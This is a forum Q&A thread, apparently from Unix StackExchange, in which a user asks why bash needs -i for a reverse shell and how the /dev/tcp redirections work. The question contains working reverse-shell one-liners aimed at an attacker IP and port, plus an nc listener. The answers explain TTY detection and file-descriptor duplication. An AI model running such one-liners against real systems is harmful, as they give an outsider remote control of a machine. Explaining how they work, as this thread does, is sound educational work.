0

i have two questions about bash. I was looking into reverse shells, and the -i flag. When I do bash -i > /dev/tcp/ip/port 2>&1 0>&1, I get an interactive shell on the server machine, catching it with nc -l port. But when I don't enter the -i flag, i get a non-login non-interactive shell. So far, that would be the expected behaviour. However, when locally executing bash and bash -i, I get interactive new shells BOTH times, as if interactive was the default mode. Why is it that when i redirect bash without -i is not interactive, and locally bash is?

And the second question about redirection, i saw this one liner, but i not quite understand the redirections involved here:

/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1

For what i see, is redirecting stdout for bash to /dev/tcp... and then accepting the location of stdout as stdin (0<&1) and also redirecting stderr to stdout (2>&1). How would this achieve a reverse shell? Shouldn't it redirect the contents of /dev/tcp.. to stdin and redirect stdout and error there?

Thanks!

  • 1
    See section INVOCATION, paragraph 2 of man bash. – muru Sep 14 '15 at 21:07
2

An interactive shell is the default behavior when bash's stdin and stderr are connected to terminal devices, as detected by the isatty() function or some equivalent. If you're typing something into it locally, and not going through a pipe (e.g. cat | bash), then it's a TTY and interactive is the default. When you redirect from a socket, it isn't a TTY and requires the flag to go into interactive mode.

When you redirect to or from /dev/tcp/<ip>/<port>, you aren't actually using a file under /dev. (If you try ls /dev/tcp, you get No such file or directory.) This is actually a special syntax accepted by bash, which causes it to open a socket to the given ip and port rather than executing a local file open. And sockets don't have "read" or "write" modes in the same way files do, so the syntax 0<&1 and 0>&1 is equivalent when fd 1 is a socket.

  • Thank you very much for that answer. That fully explained it. – Philip Sep 15 '15 at 20:48
  • Sorry Tom, one last question, do you know why 0<&1 and 0>&1 are equivalent? that doesn't make sense to me (but it works perfectly like you said) – Philip Dec 28 '15 at 14:33
  • The <& or >& syntax are both using dup(2) or similar to clone the file descriptors. The only difference is that >& checks if the target file descriptor is open for writing, while <& checks if it's open for reading. In its default mode, a socket is open for both reading and writing, so both checks succeed, and the dup call is the same in either case. – Tom Hunt Dec 28 '15 at 17:48
  • But don't they mean different things? I'd understood that 0<&1 means to redirect the place where stdout is going to stdin and 0>&1 means to redirect stdin to wherever stdout is going (i dont understand why this one works) – Philip Dec 28 '15 at 18:14
  • 0<&1 and 0>&1 both mean 'turn stdin into a clone of stdout'. They just check different assertions before doing so. Under normal circumstances, neither is sensible, because stdin is open for reading only and stdout for writing only. But when stdout is turned into a socket, it works. – Tom Hunt Dec 28 '15 at 18:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.